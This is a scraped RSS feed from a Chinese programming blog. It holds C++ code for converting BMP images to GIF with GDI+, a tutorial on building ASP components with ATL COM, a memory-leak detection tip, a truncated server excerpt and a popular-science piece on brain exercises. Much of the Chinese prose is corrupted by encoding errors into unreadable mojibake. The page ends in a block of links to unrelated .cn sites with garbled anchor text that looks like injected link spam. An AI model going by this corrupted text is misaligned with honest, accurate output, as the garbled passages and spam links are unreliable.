    囑Ş处理QBMP格式转gif格式http://www.shnenglu.com/basecolor/archive/2006/12/04/15981.html原色原色Mon, 04 Dec 2006 10:44:00 GMThttp://www.shnenglu.com/basecolor/archive/2006/12/04/15981.htmlhttp://www.shnenglu.com/basecolor/comments/15981.htmlhttp://www.shnenglu.com/basecolor/archive/2006/12/04/15981.html#Feedback0http://www.shnenglu.com/basecolor/comments/commentRss/15981.htmlhttp://www.shnenglu.com/basecolor/services/trackbacks/15981.html#include   <Stdio.h>  
    #include   <Objbase.h>  
    #include   <Windows.h>  
    #include   <Gdiplus.h>  
    #include   <GdiPlusEnums.h>  
    using   namespace   Gdiplus;  
    #pragma   comment(lib,"gdiplus")  
    int   GetCodecClsid(const   WCHAR*,   CLSID*);  
    HRESULT   __fastcall   AnsiToUnicode(LPCSTR   pszA,   LPOLESTR*   ppszW)  
    {  
     ULONG   cCharacters;  
     DWORD   dwError;  
     if   (NULL   ==   pszA)  
     {  
      *ppszW   =   NULL;  
      return   NOERROR;  
     }  
     cCharacters   =     strlen(pszA)+1;  
     *ppszW   =   (LPOLESTR)   CoTaskMemAlloc(cCharacters*2);  
     if   (NULL   ==   *ppszW)  
      return   E_OUTOFMEMORY;  
     if   (0   ==   MultiByteToWideChar(CP_ACP,   0,   pszA,   cCharacters,*ppszW,   cCharacters))  
     {  
      dwError   =   GetLastError();  
      CoTaskMemFree(*ppszW);  
      *ppszW   =   NULL;  
      return   HRESULT_FROM_WIN32(dwError);  
     }  
     return   NOERROR;  
    }  

    int   main()
    {  
     int   n_ret=0;  
     
     char *pic[2]={NULL,NULL};
     pic[0]=new char [128];
     pic[1]=new char[128];
     sprintf(pic[0],"ok.gif");
     sprintf(pic[1],"shangcheng_1.bmp");//"default.gif");
     GdiplusStartupInput   gdiplusStartupInput;    
     ULONG   gdiplusToken;    
     GdiplusStartup(&gdiplusToken,   &gdiplusStartupInput,   NULL);    
     {  
      CLSID                             codecClsid;  
      Status                           stat;  
      EncoderParameters     encoderParameters;  

      GetCodecClsid(L"image/gif",   &codecClsid);  
      encoderParameters.Count   =   0;  
      LPOLESTR   bstr_src_img;  
      LPOLESTR   bstr_dst_fn;  
      AnsiToUnicode(pic[0],&bstr_dst_fn);  
      AnsiToUnicode(pic[1],&bstr_src_img);  
      Image   image(bstr_src_img);  
      stat   =image.Save(bstr_dst_fn,   &codecClsid,   &encoderParameters);  
      if(stat   ==   Ok)  
      {  
       n_ret=0;  
       wprintf(L"%s   saved   successfully.\n",bstr_dst_fn);  
      }  
      else  
      {  
       n_ret=-2;  
       wprintf(L"%d     Attempt   to   save   %s   failed.\n",   stat,   bstr_dst_fn);  
      }  
      CoTaskMemFree(bstr_dst_fn);  
      CoTaskMemFree(bstr_src_img);  
     }  
     GdiplusShutdown(gdiplusToken);  
     return   0;  
    }
    int   GetCodecClsid(const   WCHAR*   format,   CLSID*   pClsid)  
    {  
     UINT     num   =   0; 
     UINT     size   =   0; 
     ImageCodecInfo*   pImageCodecInfo   =   NULL;   
     GetImageEncodersSize(&num,   &size);  
     if(size   ==   0)  
      return   -1;    
     pImageCodecInfo   =   (ImageCodecInfo*)(malloc(size));  
     if(pImageCodecInfo   ==   NULL)  
      return   -1;  
     GetImageEncoders(num,   size,   pImageCodecInfo);  
      for(UINT   j   =   0;   j   <   num;   ++j)  
     {  
      if(   wcscmp(pImageCodecInfo[j].MimeType,   format)   ==   0   )  
      {  
       *pClsid   =   pImageCodecInfo[j].Clsid;  
       return   j; 
       }          
     } 
     return   -1; 
    }



    原色 2006-12-04 18:44 发表评论
    ]]>
    健脑1http://www.shnenglu.com/basecolor/archive/2006/11/23/15581.html原色原色Thu, 23 Nov 2006 05:55:00 GMThttp://www.shnenglu.com/basecolor/archive/2006/11/23/15581.htmlhttp://www.shnenglu.com/basecolor/comments/15581.htmlhttp://www.shnenglu.com/basecolor/archive/2006/11/23/15581.html#Feedback0http://www.shnenglu.com/basecolor/comments/commentRss/15581.htmlhttp://www.shnenglu.com/basecolor/services/trackbacks/15581.html  
    目前Q很多科学家正在研究如何可以通过外部环境刺激来改变h的神l系l。意大利都灵大脑恢复中心MQ里达·莱卫·蒙塔奇尼表示Q“现在开始已认识到大脑具有极强的可塑性,有极强的自我恢复能力。但直到不久以前Qh们还一直认为,大脑是一U比较‘固执’的器官Q是不容易改变的。”奠定神l操理论基础的一些近期发现更是颠覆了以往固有的看法,研究证明Q一些脑l胞Q尤其是马区的脑细胞能够再生?/p>

      出租车司机的大脑是一个典型的例子。熟悉当地各条街道的出租车司机,他们的v马要大于普通h。这个结论是英国伦敦大学的神l学家埃莉诺·玛归通过共振技术证实的。出UR司机的v马特别发达,是因Z们需要不停地努力定自己所处的方位Qɋ马区得Cȝ?/p>

      经之间的联p?/p>

      另一斚wQ研Ih员还发现Q随着q龄的增长,大脑的功能出现衰老的原因不像是由于脑l胞的逐渐M造成的,而是׃脑细胞之间联pȝ减弱引v的。因为更地使用大脑以及衰老得在脑细胞之间传递信息的经U维萎羃?/p>

      Z内的天然营养物质——神l营ȝ有利于这些神l纤l的生长。如果神l纤l受到刺ȀQ就会变大变多,经之间的连接点即神l键也会增加Q从而加快刺Ȁ的传递速度。但是,由大脑生的经营养素的数量取决于活动的cd。专门进行的研究表明Q感官刺Ȁ会创造新的神l工作模式,可以促产生更多的神l营ȝ。换句话_促进“脑l胞之间的联pZ就能加强和保持智力。比如,一对h技演员所做的实验中,参与了杂技q动控制的运动皮层部分会得到充分发展Qƈ且还可能重新打开那些qx很少被用的经。这意味着杂技q动可以增强大脑的某些功能?

      能够使大脑采取新的运动协调Ş式的行之有效的方式就是音乐。但是,如果说Q何一U环境刺Ȁ都能够改善大脑可塑性的话,经操则只会集中于某几类特别的刺Ȁ形式。卡茨解释说Q“神l操可以让五官感觉同时v作用Q以新的形式增强大脑在不同类型信息之间创接的自然能力。”hcȝ理学教授安东奥·马尔加罗DC:“我们一直都知道Q通过不同的活动,可以改变大脑两个不同区域之间的联pR最著名的例子是巴甫z夫的实验。如果一开始将食物的出C铃声联系hQ狗׃产生唾液分泌反应。因此,两个距离很远的大脑区域就同时被激zR从此科学界开始了对行则的研究Q目的是更好地开发大脑的潜力。实际上Q它引导着我们向兴趣q泛、丰富多彩的生活Q以Ȁ发这U良性@环,而这需要更多的投入、努力以及意识活动。?/p>

      经操所有的意义都在于日常生zȝ{略。这创C我们得以重新认识经pȝ。它与每一个意外事件发生作用,与此对应的大脑区域的皮层zd׃随之增加。神l被Ȁz,传导着经刺,在它们之间生了新的联系Q从而生了珍贵的神l营ȝ?/p>

      打破常规

      哪些新鲜事物能够提供正确的刺Ȁ呢?经操的W一条规则就是打破常规。然而,仅仅由钢W写字变成铅W写字是不够的,真正的变化是换一只手来写。卡茨将q些训练方式ȝZ大“基本徏议”:

      1.在新的环境中一U或多种感觉l合hQ或可能少C靠惯常的感觉。比如闭上眼睛淋?/p>

      2.集中注意力,从重复的琐事中解脱出来,让大脑保持在警惕的状态。比如将戉K的照片颠倒放|,q种刺激会大大加忆力?/p>

      3.避免单调的事件。例如,可以l常变换不同的\U去上学或上班?/p>

      其实Q性生zL最好的经操锻|它比其他M常规zd都要好。在性生zMQ所有的五官感觉都参与了q来Q都得到了利用,大大Ȁ发了大脑的情l@环。但某些经U学家却对这些训l方式嗤之以鼅R意大利生物心理学教授阿伯特·奥利维里奥认ؓQ“所有能让大脑保持效率的方式都是好的。打破常规固然有用,但避免压力、打一局保龄球或者解开某个填字游戏也一栯v作用。?/p>

      不同的声?/p>

      如果ql操的部分科学基q行讨论Q也有h认ؓ经的可塑性现象尚待证实。神l医学专家弗朗西斯科·摩纳哥就认ؓQ“卡茨的办法和一般医学上采用的康复手D|有很大区别。在教导一位半w不遂的患者锻|从而恢复其失去的功能时Q我们ƈ不能准确知道在他的大脑中发生了什么。”实际上Q神l操的原则在中风症患者中也可以找到实际的应用。马加|尼_“如果某位患者的一只手臂瘫痪了Q我们可以把他健L手臂也固定v来。这P通过患者不断向患病的手臂发出的经刺激Q有利于快康复。对于记忆和智力Q也会生同Ll果Q不断重复用就会改善。”而最引v争论的是Q神l操是否能够延缓经衰退性疾?如阿茨默氏症)的发生。奥利维里奥认ؓQ有一些统计数据可以支持这U假设:在脑力工作者中出现阿尔茨v默氏症的Z要小于体力工作者,q可能是因ؓ脑力力_者的大脑常常处于z跃的状态。目前,一l科学家正对一些有该疾病遗传基因的老鼠q行实验。他们迫使这些老鼠q更忙碌的生z,使它们d于活跃的状态。研Ih员表C,要谈实验的结果ؓ时尚早,但他们坚信,与正常生zȝ动物相比Q它们的状态一定会有所改善?/p>

      实际上,要获得实效所需的最训l量q是个未知因素。此外还要考虑刎ͼZZ间由于众多因素,比如q龄、遗传基因等{,所取得的效果也是不一L?/p>

      健脑q动

      马上行动吧!不论是在旅行q是在工作或者在家中QQ何地点Q何时候都可以很好地锻炼大脑。下面就是对你的。请通过q里介绍?1U办法将经操真正融q你的生zR?/p>

      经操正成ؓZ的一U“生zL式”。它不需要采用同LȝҎQ而是提倡不断地变换。如果在某段旉你采取了某种ȝ方式的话Q那q段旉应该换另一U,然后q可以将它们混合h。最好不要把q些ȝ变成一U惯例,不要攑ּ填字游戏、阅d充满Ȁ情的人际交往、旅行。一旦学会了经操,每个人都会发明适合自己的锻炼方法?/p>

      当然Q如果h们知道适当的节食、充的睡眠以及体育ȝ都可以增加大脑神l连接数量,从而增忆力和推理能力的话,可能很多人都会拥有灵zȝ大脑了?/p>

      在家?/p>

      1.闭上眼睛挑选衣服、鞋和首饎ͼ努力通过触摸来分辨它们。不仅用手指,q要使用脔RQ手臂和脚,w体的每一部分都有相当灉|的神l末梢。所以,可以量闭上眼睛I衣服?/p>

      2.反手打开牙膏盖,向牙刷上挤牙膏,L?/p>

      3.房间墙壁上挂着的照片和装饰d过来?/p>

      在途中

      1.l常变换不同的\U去上班。对开车、走路或坐公共汽车都适用?/p>

      2.ȝ触觉。在汽R的储物袋中搁一些硬币,{红灯时Q尝试仅用触摸的方式分L它们。也可以换成其他的小物gq行l习?/p>

      在办公室?/p>

      1.把办公桌上的东西换个位置Q从电脑的鼠标到照片Q从电话到签字笔。将手表戴在另一只手臂上?/p>

      2.自由讨论。如果要和同事一赯x个问题,设想q记录下一切可能的Ҏ。然后比较各个方案,作出选择?/p>

      在餐桌上

      1.x韛_和电视,与一同用的家h或朋友轻M谈。或者在l对安静的环境下餐Q甚臛_以闭上眼睛咀嚼食物,注意力完全集中在n受美食上?/p>

      2.更换座位。在安、食堂或厅里,无论是你q是其他人,不要保持固定的位|。环境或者是食物Q都要让自己在就的时候有新鲜感?/p>

      在假日或I闲?/p>

      1.M从没去过的地斏V不要d找最熟悉的地斏V要dL受不同地方的不同景色和不同气息?/p>

      2.变得更有创造性,发掘新的爱好。参加某个从未尝试过的活动课E,l画、音乐或者摄影。尝试新的体育运动,如高夫球,骑马。自׃厨烹饪,因ؓ它会调动你所有的感觉?/p>

      反手LQ这样可以锻炼相应的脑半?叛_球负责左叻I左半球负责右??br />



    原色 2006-11-23 13:55 发表评论
    ]]>
    [|页]+ [ ALT COM AppWizard]http://www.shnenglu.com/basecolor/archive/2006/11/23/15578.html原色原色Thu, 23 Nov 2006 03:53:00 GMThttp://www.shnenglu.com/basecolor/archive/2006/11/23/15578.htmlhttp://www.shnenglu.com/basecolor/comments/15578.htmlhttp://www.shnenglu.com/basecolor/archive/2006/11/23/15578.html#Feedback1http://www.shnenglu.com/basecolor/comments/commentRss/15578.htmlhttp://www.shnenglu.com/basecolor/services/trackbacks/15578.html以下{_http://www.chinaaspx.com/club/topic_6_16277.htmQ?br />----------------------------------

    作者:??

    --------------------------------------------------------------------------------

    用ASP写网늚E序员,一定对VBSript语句“Set Conn=Server.Object(‘ADODB.Connection?”非常熟悉。该语句是利用ASP的Server对象创徏了一个数据库控gQ它提供了一pd的方法和属性,可以帮助我们在ASP中方便的实现数据库的操作。类似的Q在Visual InteDev6.0中,我们q可以看C些ASP的内|组件如“Scripting.FileSystemObject”。但是,在有的场合,仅利用这些是不够的或复杂的,而且ASP的Script语言q不如C++语言功能强大Q如建立链表QB+树结构等Q,q就使我们想刎ͼ是否可以在开发网|使用h良好数据l构的C++语言。虽然CGI,ISAPI{都可谓是用C/C++开发网늚先驱Q但我们知道CGI,ISAPI的开发周期很长,且不与网늻合,直观性差Q编写、调试困难;而在E_性上Q由于ISAPI是动态链接的方式Q因此在执行若出现问题,会得Web服务器一L痪。而ASP正好能补些缺炏V?
    由此可见Q如果能学会~写ASPlgpl合ASP的长处编写出强大的网c可惜的是,W者在市面上很看到有专门讲如何用VC++来制作ASPlg的书c。一般VC书籍只讲一些写WindowsH口E序或再加上~写普通的动态链接库。而ASP书籍更是只谈ASP中内|组件的使用Ҏ。其实,如果要真正掌握编写ASPlg的机Ӟ要牵涉到大量的COM技术的知识。而一些讲COM技术的书是很深奥的Q且很少能结合有用的实例。ؓ此,W者想借此文以最单的Ҏ向大家介l编写过E。所谓简介,正说明将不涉及COM知识的具体细节,仅给出实现方法?
    一、徏立工E?
    打开VC++6.0Q选择New Projects中的ALT COM AppWizard, q输入好工程名(如MyStudioQ,C该工E名成为ASPlg名的一部分Q其实可以修改,但很ȝQ,在下一上选择Server Type 为DLLQƈ可考虑在Support MFC前打勾(惛_使用MFC~程的h不少Q。按Finishl束。在生成的代码中有四个标准的导出函数注册DLL的,我们不必兛_?
    ::点击囄在新H口中打开::
    二、创建COM对象Q新建ATLzd模版库类Q?
    在菜单上选择Insert New Class,q新Z个ATL Class,如取名ؓCmyComponentQ你会发现在接口表中出现了一个ImyComponentQ以后创接口的方法和属性就可以在ASP中用了。把Aggregatable选项LQ我们不需要它。保持其他不变?
    ::点击囄在新H口中打开::
    三、添加接口方?
    在ClassView中,叛_ImyComponent,在出现的菜单中按Add Method。如图,在Method Name中可写上Ҏ名如InitMyComp。在Parameters中写上方法的参数如[in]int Number1,[out,retbal]int* Number2。这里要特别说明的是参数的写法?
    ::点击囄在新H口中打开::
    1.对于传入的参数必d参数前加上[in]Q然后可跟上如int n或float f{。且每个传入参数前都必须写明?
    2.对于调用Ҏ的返回,不再是该Ҏ名前的类型(因ؓ所有这些方法都q回HRESULTQ即表明是否调用成功Q,所以用传出的参数Q在参数前必d上[out,retval],然后可跟上如int* n 或者float* f{(如果q回的是int 或float cd值时Q。且每个Ҏ仅限于返回一个这L参数。在函数体中可如写上如?Number2=Number1;”,表示把输入参CZ出参数?
    ::点击囄在新H口中打开::
    3.对于最常用的字W串参数在此我们使用BSTR str而不是通常的char* 或CStringQ所以在参数中需要写作[in]BSTR str 或[out,retval]BSTR* str。需要特别注意与CString的{换。如新徏一个函数StrConv([in]BSTR bstr1,[out,retval]BSTR* bstr2)Q在函数体中可写上如Q?
    CString str;
    str=bstr1;
    str=str.Left(str.GetLength()-1);
    *bstr2=str.AllocSysString();
    4.对于x一个ASP对象作ؓ参数的方法(如Request对象Q,可以使用[in]Iunkown *pIUnkQ在函数体内Q可用如下语句:(具体h阅MSDN中的相关cȝ内容)
    IRequest* pIRequest;
    HRESULT hr = pIUnk->QueryInterface(IID_IRequest, reinterpret_cast<LPVOID*>(&pIRequest));
    Long m_lDataSize;
    HRESULT hr = pIRequest->get_TotalBytes(&m_lDataSize);
    if (FAILED(hr))
    return hr;
    if (m_lDataSize == 0L)
    {
    return S_OK;
    }

    COleVariant varBytesToRead;
    COleSafeArray sarrayBytes;
    varBytesToRead = m_lDataSize;
    sarrayBytes.CreateOneDim(VT_UI1, m_lDataSize);
    hr = pIRequest->BinaryRead(&varBytesToRead, &sarrayBytes);
    if (FAILED(hr))
    {
    sarrayBytes.Clear();
    return hr;
    }
    ?
    5.对于不定个数参数Q可使用SAFEARRAYQ但使用Ҏ较ؓ复杂。可以在参数中输入如下的内容[in]SAFEARRAY arrayQƈ按Attribute…按钮,在Name中选择vararg。按定后修改idl文g在把[in]SAFEARRAY array改ؓ[in]SAFEARRAY(VARIANT) array。然后再打开MyComponent.h文g把该函数的参数SAFEARRAY array改ؓSAFEARRAY* array。再打开MyComponent.cpp文g修改参数Q在函数体内使用COleSafeArraycd现该参数的控Ӟ如“COleSafeArray SArray(array,VT_BSTR)”,具体操作可查阅MSDN中的该类的成员函数?
    四、添加接口属?
    在ClassView中,叛_ImyComponent,在出现的菜单中按Add Property。如图,在Property中可选择属性类型如floatQ在下面可写上属性名如MyFloat。保持其他不变。这里需要说明的是在生成的put_MyFloat和get_MyFloat函数体中的书写?
    ::点击囄在新H口中打开::
    不妨举个例Q?
    1.在CMyComponent 中添加成员变量m_myFloat
    2.在put_MyFloat 中写上:m_myFloat=newVal;
    3.在get_MyFloat中写上:*pVal=m_myFloat
    有成员变量也是它优于ISAPI的一个地方,在ISAPI中要在网间传递信息,只能通过URL参数或者是Cookie来实玎ͼ因ؓ每次调用都是一ơ新的链接,无法在网之间仍然是同一ơ调用DLL,所以设|成员变量意义不大,只在一ơ调用中有用。而那两种Ҏ都只能传递很有限的字W,除非利用创徏服务器端临时文gQ此Ҏ很不好)。再_ASP中的Session对象本n是很好的存储信息的对象?
    xQ我们创Z一个非常简单的没有什么功能的ASPlgQ意在说明如何制作。下面,我们书写一个简单的ASP|页Q来看看如何使用。网如下:
    <%@ Language=VBScript %>
    <HTML>
    <HEAD>
    <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
    </HEAD>
    <BODY>
    <%
    Set Obj=Server.CreateObject("MyStudio.MyComponent")
    j=Obj.InitMyComp(5)
    Response.Write(j)
    %>
    <p>
    <%
    Obj.MyFloat=3.9
    j=Obj.MyFloat
    Response.Write(j)
    %>
    <p>
    <%
    str1="abcd"
    str2=Obj.StrConv(str1)
    Response.Write(str2)
    %>
    </BODY>
    </HTML>
    昄l果为:
    5
    3.9
    abc
    也许Q你现在q看不到~写ASPlg的巨大魅力。但是,如果你正在编写搜索引擎,文g上传Q自动回复,{等的高U网制作,你若能够充分的利用VC++的优编E手D,׃必在CGIQISAPI中苦苦挣扎,可以比较方便的编写这些功能。比方说用户惛_你的|页上搜索几个著名新ȝ站上当前的重要新闻,你就可以使用ASPlg在后台实时的打开各网站获得信息,{选匹配后昄l用戗又比方_当注册用户告知他的email地址Q你可以利用ASPlg自动l新注册用户发出认信函Q用最快的方式让用户去认q注册成功……其实,你一定还有很多新的想法可以在|页上得以实玎ͼ赶快行动吧?



    原色 2006-11-23 11:53 发表评论
    ]]>
    查内存泄?/title><link>http://www.shnenglu.com/basecolor/archive/2006/11/20/15461.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Mon, 20 Nov 2006 05:30:00 GMT</pubDate><guid>http://www.shnenglu.com/basecolor/archive/2006/11/20/15461.html</guid><wfw:comment>http://www.shnenglu.com/basecolor/comments/15461.html</wfw:comment><comments>http://www.shnenglu.com/basecolor/archive/2006/11/20/15461.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/basecolor/comments/commentRss/15461.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/basecolor/services/trackbacks/15461.html</trackback:ping><description><![CDATA[1.E序中添?<br />#define CRTDBG_MAP_ALLOC<br />#include <stdlib.h><br />#include <crtdbg.h><br /><br />2.E序/函数l束时调?br /> _CrtDumpMemoryLeaks(); <img src ="http://www.shnenglu.com/basecolor/aggbug/15461.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/basecolor/" target="_blank">原色</a> 2006-11-20 13:30 <a href="http://www.shnenglu.com/basecolor/archive/2006/11/20/15461.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>服务?/title><link>http://www.shnenglu.com/basecolor/archive/2006/11/14/15163.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Tue, 14 Nov 2006 15:59:00 GMT</pubDate><guid>http://www.shnenglu.com/basecolor/archive/2006/11/14/15163.html</guid><wfw:comment>http://www.shnenglu.com/basecolor/comments/15163.html</wfw:comment><comments>http://www.shnenglu.com/basecolor/archive/2006/11/14/15163.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/basecolor/comments/commentRss/15163.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/basecolor/services/trackbacks/15163.html</trackback:ping><description><![CDATA[     摘要: 服务器高效内存管理http://msdn.microsoft.com/msdnmag/issues/1000/Winsock/ DWORD WINAPI WorkerThread(LPVOID lpParam) {    ULONG_PTR       * PerHandle...  <a href='http://www.shnenglu.com/basecolor/archive/2006/11/14/15163.html'>阅读全文</a><img src ="http://www.shnenglu.com/basecolor/aggbug/15163.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/basecolor/" target="_blank">原色</a> 2006-11-14 23:59 <a href="http://www.shnenglu.com/basecolor/archive/2006/11/14/15163.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://www.shnenglu.com/" title="精品视频久久久久">精品视频久久久久</a> <div class="friend-links"> </div> </div> </footer> <a href="http://www.zhaoyang-db.com.cn" target="_blank">þþþþ</a>| <a href="http://www.rahd.cn" target="_blank">þùƷþþ</a>| <a href="http://www.hy129.cn" target="_blank">þ˿ྫƷĻ</a>| <a href="http://www.jn928.cn" target="_blank">պݺݾþ͵͵ɫۺ96</a>| <a href="http://www.bainiu168.cn" target="_blank">ھƷþþþù</a>| <a href="http://www.huacai0019.cn" target="_blank">ۺϾþþƷɫ</a>| <a href="http://www.j19785.cn" target="_blank">þþƷaĻؿ þþƷa޹v岻 </a>| <a href="http://www.haosenmy.cn" target="_blank">þۺϺݺۺϾþ97ɫ</a>| <a href="http://www.dartools.cn" target="_blank">ŷպƷþþѹۿ</a>| <a href="http://www.ejectorpin.cn" target="_blank">ŷպľþ</a>| <a href="http://www.fpzhan.cn" target="_blank">պþӰԺ</a>| <a href="http://www.gdcloth.cn" target="_blank">ɫۺϾþ</a>| <a href="http://www.lureng.cn" target="_blank">þþþþþۺۺϺݺ</a>| <a href="http://www.cn1s.cn" target="_blank">AAAþþþƷƬ</a>| <a href="http://www.iido.org.cn" target="_blank">ɫúݺݾþۺ</a>| <a href="http://www.wj3y.cn" target="_blank">Ʒþþþþ޾Ʒ</a>| <a href="http://www.baidudianying.cn" target="_blank">þ޹Ʒ</a>| <a href="http://www.ttyv.cn" target="_blank">ھƷþþĻ</a>| <a href="http://www.jianzhuhr.net.cn" target="_blank">þĻ</a>| <a href="http://www.benok.cn" target="_blank">þþþĻƷ</a>| <a href="http://www.hbsannong.com.cn" target="_blank">˾ƷǾþ</a>| <a href="http://www.alexa178.cn" target="_blank">þþþŮʦһ</a>| <a href="http://www.lzjrdfl.cn" target="_blank">91Ʒþþþþ</a>| <a href="http://www.radowatchessale.cn" target="_blank">ҹƷþþþþëƬ</a>| <a href="http://www.huanpou.cn" target="_blank">þóСƵ</a>| <a href="http://www.wxyuyang.com.cn" target="_blank">þþWWWѾƷ</a>| <a href="http://www.pp4f.cn" target="_blank">ԻԻ˿þþ</a>| <a href="http://www.rdyly1688.cn" target="_blank">þ99þ99Ʒӿ</a>| <a href="http://www.madgou.cn" target="_blank">ƷþþþþþþӰԺ</a>| <a href="http://www.qhd33.cn" target="_blank">þùƷһ</a>| <a href="http://www.renliu123.cn" target="_blank">91Ʒ91þþþþ</a>| <a href="http://www.soumee.com.cn" target="_blank">˾ƷѾþþþ</a>| <a href="http://www.ecscrm.com.cn" target="_blank">vavavaþ</a>| <a href="http://www.tr78.cn" target="_blank">2021ھƷþþþþӰԺ</a>| <a href="http://www.focuan.cn" target="_blank">ղþǿѵĿ</a>| <a href="http://www.xiangxiangren.cn" target="_blank">ƷһþþƷ</a>| <a href="http://www.heilai.cn" target="_blank">99reþùƷҳ</a>| <a href="http://www.gynp.net.cn" target="_blank">Ʒþһ</a>| <a href="http://www.nmgr.net.cn" target="_blank">þۺϾþۺϾþ</a>| <a href="http://www.miror.com.cn" target="_blank">޹Ʒþþ</a>| <a href="http://www.byrrj.cn" target="_blank">þþƷ99Ʒ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>